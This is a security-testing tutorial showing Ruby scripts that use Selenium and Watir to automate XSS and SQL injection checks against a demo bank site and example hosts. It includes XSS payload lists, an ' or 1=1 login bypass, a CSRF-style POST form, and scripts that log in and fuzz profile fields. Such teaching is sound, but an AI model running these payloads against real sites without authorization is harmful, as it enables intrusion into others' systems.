Browser Manipulation

As a hacker, sometimes you need to automate your client side tests (ex. XSS) and reduce the false positives that happen specially in XSS tests. The traditional automation depends on finding the sent payload been received in the response, but it doesn’t mean the vulnerability get really exploited so you have to do it manually again and again.

Here we’ll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.

The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.

Selenium Webdriver

Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.

  • install selenium gem
    1. gem install selenium-webdriver

GET Request

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require "selenium-webdriver"
  5. # Profile Setup and Tweak
  6. proxy = Selenium::WebDriver::Proxy.new(
  7. :http => PROXY,
  8. :ftp => PROXY,
  9. :ssl => PROXY
  10. ) # Set Proxy hostname and port
  11. profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name
  12. profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " +
  13. "Windows Phone OS 7.5; Trident/5.0; " +
  14. "IEMobile/9.0)" # Set User Agent
  15. profile.proxy = proxy # Set Proxy
  16. profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
  17. # Start Driver
  18. driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
  19. # driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
  20. driver.manage.window.resize_to(500, 400) # Set Browser windows size
  21. driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
  22. # Interact with elements
  23. element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
  24. element.send_keys "<img src=x onerror='alert(1)'>" # Send your keys to element
  25. element.send_keys(:control, 't') # Open a new tab
  26. element.submit # Submit the text you've just sent

Note that the actual keys to send depend on your OS, for example, Mac uses COMMAND + t, instead of CONTROL + t.

POST Request

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'selenium-webdriver'
  5. browser = Selenium::WebDriver.for :firefox
  6. browser.get "http://www.altoromutual.com/bank/login.aspx"
  7. wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
  8. # Find the input elements to interact with later.
  9. input = wait.until {
  10. element_user = browser.find_element(:name, "uid")
  11. element_pass = browser.find_element(:name, "passw")
  12. # Retrun array of elements when get displayed
  13. [element_user, element_pass] if element_user.displayed? and element_pass.displayed?
  14. }
  15. input[0].send_keys("' or 1=1;--") # Send key for the 1st element
  16. input[1].send_keys("password") # Send key fro the next element
  17. sleep 1
  18. # Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
  19. submit = browser.find_element(:name, "btnSubmit").click #.submit
  20. # browser.quit

Let’s test the page against XSS vulnerability. First I’ll list what kind of action we need from browser

  1. Open a browser window (Firefox)
  2. Navigate to a URL (altoromutual.com)
  3. Perform some operations (Send an XSS payload)
  4. Check if the payload is working(Popping-up) or it’s a false positive
  5. Print the succeed payloads on terminal

selenium-xss.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'selenium-webdriver'
  5. payloads =
  6. [
  7. "<video src=x onerror=alert(1);>",
  8. "<img src=x onerror='alert(2)'>",
  9. "<script>alert(3)</script>",
  10. "<svg/OnlOad=prompt(4)>",
  11. "javascript:alert(5)",
  12. "alert(/6/.source)"
  13. ]
  14. browser = Selenium::WebDriver.for :firefox # You can use :ff too
  15. browser.manage.window.resize_to(500, 400) # Set browser size
  16. browser.get "http://www.altoromutual.com/search.aspx?"
  17. wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
  18. payloads.each do |payload|
  19. input = wait.until do
  20. element = browser.find_element(:name, 'txtSearch')
  21. element if element.displayed?
  22. end
  23. input.send_keys(payload)
  24. input.submit
  25. begin
  26. wait.until do
  27. txt = browser.switch_to.alert
  28. if (1..100) === txt.text.to_i
  29. puts "Payload is working: #{payload}"
  30. txt.accept
  31. end
  32. end
  33. rescue Selenium::WebDriver::Error::NoAlertOpenError
  34. puts "False Positive: #{payload}"
  35. next
  36. end
  37. end
  38. browser.close

Result

  1. > ruby selenium-xss.rb
  2. Payload is working: <video src=x onerror=alert(1);>
  3. Payload is working: <img src=x onerror='alert(2)'>
  4. Payload is working: <script>alert(3)</script>
  5. Payload is working: <svg/OnlOad=prompt(4)>
  6. False Positive: javascript:alert(5)
  7. False Positive: alert(/6/.source)

Watir Webdriver

Watir is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.

  • install watir gem
    1. gem install watir

GET Request

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'watir'
  5. browser = Watir::Browser.new :firefox
  6. browser.goto "http://www.altoromutual.com/search.aspx?"
  7. browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
  8. btn = browser.button(value: 'Go')
  9. puts btn.exists?
  10. btn.click
  11. # browser.close

Sometime you’ll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You’ll face a known error Selenium::WebDriver::Error::UnhandledAlertError: Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it’ll work so the fix for this issue is the following.

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'watir'
  5. browser = Watir::Browser.new :firefox
  6. wait = Selenium::WebDriver::Wait.new(:timeout => 15)
  7. begin
  8. browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
  9. rescue Selenium::WebDriver::Error::UnhandledAlertError
  10. browser.refresh
  11. wait.until {browser.alert.exists?}
  12. end
  13. if browser.alert.exists?
  14. browser.alert.ok
  15. puts "[+] Exploit found!"
  16. browser.close
  17. end

POST Request

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'watir'
  5. browser = Watir::Browser.new :firefox
  6. browser.window.resize_to(800, 600)
  7. browser.window.move_to(0, 0)
  8. browser.goto "http://www.altoromutual.com/bank/login.aspx"
  9. browser.text_field(name: 'uid').set("' or 1=1;-- ")
  10. browser.text_field(name: 'passw').set("password")
  11. btn = browser.button(name: 'btnSubmit').click
  12. # browser.close
  • Since Waiter is integrated with Selenium, you can use both to achieve one goal
  • For Some reason in some log-in cases, you may need to add a delay time between entering username and password then submit.

Selenium, Watir Arbitrary POST request

Here another scenario I’ve faced, I was against POST request without submit button, in another word, the test was against intercepted request generated from jQuery function, in my case was a drop menu. So The work round wad quite simple, Just create an HTML file contains POST form with the original parameters plus a Submit button(just like creating CSRF exploit from a POST form) then call that html file to the browser and deal with it as normal form. Let’s to see an example here.

POST request

  1. POST /path/of/editfunction HTTP/1.1
  2. Host: example.com
  3. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
  4. Accept: */*
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. X-Requested-With: XMLHttpRequest
  9. Content-Length: 100
  10. Cookie: PHPSESSIONID=111111111111111111111
  11. Connection: keep-alive
  12. Pragma: no-cache
  13. Cache-Control: no-cache
  14. field1=""&field2=""&field3=""&field4=""

example.html

  1. <html>
  2. <head>
  3. <title>Victim Site - POST request</title>
  4. </head>
  5. <body>
  6. <form action="https://example.com/path/of/editfunction" method="POST">
  7. <input type="text" name="field1" value="" />
  8. <input type="text" name="field2" value="" />
  9. <input type="text" name="field3" value="" />
  10. <input type="text" name="field4" value="" />
  11. <p><input type="submit" value="Send" /></p>
  12. </form>
  13. </body>
  14. </html>

exploit.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'watir'
  5. @browser = Watir::Browser.new :firefox
  6. @browser.window.resize_to(800, 600) # Set browser size
  7. @browser.window.move_to(400, 300) # Allocate browser position
  8. def sendpost(payload)
  9. @browser.goto "file:///home/KING/Code/example.html"
  10. @browser.text_field(name: 'field1').set(payload)
  11. @browser.text_field(name: 'field2').set(payload)
  12. @browser.text_field(name: 'field3').set(payload)
  13. @browser.text_field(name: 'field4').set(payload)
  14. sleep 0.1
  15. @browser.button(value: 'Send').click
  16. end
  17. payloads =
  18. [
  19. '"><script>alert(1)</script>',
  20. '<img src=x onerror=alert(2)>'
  21. ]
  22. puts "[*] Exploitation start"
  23. puts "[*] Number of payloads: #{payloads.size} payloads"
  24. payloads.each do |payload|
  25. print "\r[*] Trying: #{payload}"
  26. print "\e[K"
  27. sendpost payload
  28. if @browser.alert.exists?
  29. @browser.alert.ok
  30. puts "[+] Exploit found!: " + payload
  31. @browser.close
  32. end
  33. end

Dealing with tabs

One of scenarios I’ve faced is to exploit XSS a user profile fields and check the result in another page which present the public user’s profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user’s profile page then return back to send the exploit and so on.

xss_tab.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. #
  4. require 'watir'
  5. require 'uri'
  6. @url = URI.parse "http://example.com/Users/User_Edit.aspx?userid=68"
  7. @browser = Watir::Browser.new :firefox
  8. @browser.window.resize_to(800, 600)
  9. # @browser.window.move_to(540, 165)
  10. @wait = Selenium::WebDriver::Wait.new(:timeout => 10)
  11. @browser.goto "http://example.com/logon.aspx"
  12. # Login
  13. @browser.text_field(name: 'Login1$UserName').set("admin")
  14. @browser.text_field(name: 'Login1$Password').set("P@ssword")
  15. sleep 0.5
  16. @browser.button(name: 'Login1$LoginButton').click
  17. def sendpost(payload)
  18. begin
  19. @browser.switch # Make sure to focus on current tab/window
  20. @browser.goto "#{@url.scheme}://#{@url.host}/#{@url.path}?#{@url.query}" # Goto the URL
  21. @wait.until {@browser.text_field(id: 'txtFullName').exists?} # Wait until wanted text area appear
  22. @browser.text_field(id: 'txtFullName').set(payload) # Set payload to the text area
  23. @browser.text_field(id: 'txtFirstName').set(payload) # Set payload to the text area
  24. @browser.button(name: '$actionsElem$save').click # Click Save button
  25. rescue Selenium::WebDriver::Error::UnhandledAlertError
  26. @browser.refresh # Refresh the current page
  27. @wait.until {@browser.alert.exists?} # Check if alert box appear
  28. end
  29. end
  30. payloads =
  31. [
  32. "\"><video src=x onerror=alert(1);>",
  33. "<img src=x onerror='alert(2)'>",
  34. "<script>alert(3)</script>",
  35. "<svg/OnlOad=prompt(4)>",
  36. "javascript:alert(5)",
  37. "alert(/6/.source)"
  38. ]
  39. puts "[*] Exploitation start"
  40. puts "[*] Number of payloads: #{payloads.size} payloads"
  41. @browser.send_keys(:control, 't') # Sent Ctrl+T to open new tab
  42. @browser.goto "http://example.com/pub_prof/user/silver.aspx" # Goto the use's public profile
  43. @browser.switch # Make sure to focus on current tab/window
  44. payloads.each do |payload|
  45. @browser.send_keys(:alt, '1') # Send Alt+1 to go to first tab
  46. sendpost payload
  47. puts "[*] Sending to '#{@browser.title}' Payload : #{payload}"
  48. @browser.send_keys(:alt, '2') # Send Alt+2 to go to second tab
  49. @browser.switch
  50. @browser.refresh
  51. puts "[*] Checking Payload Result on #{@browser.title}"
  52. if @browser.alert.exists?
  53. @browser.alert.ok
  54. puts
  55. puts "[+] Exploit found!: " + payload
  56. @browser.close
  57. exit 0
  58. end
  59. end
  60. @browser.close
  61. puts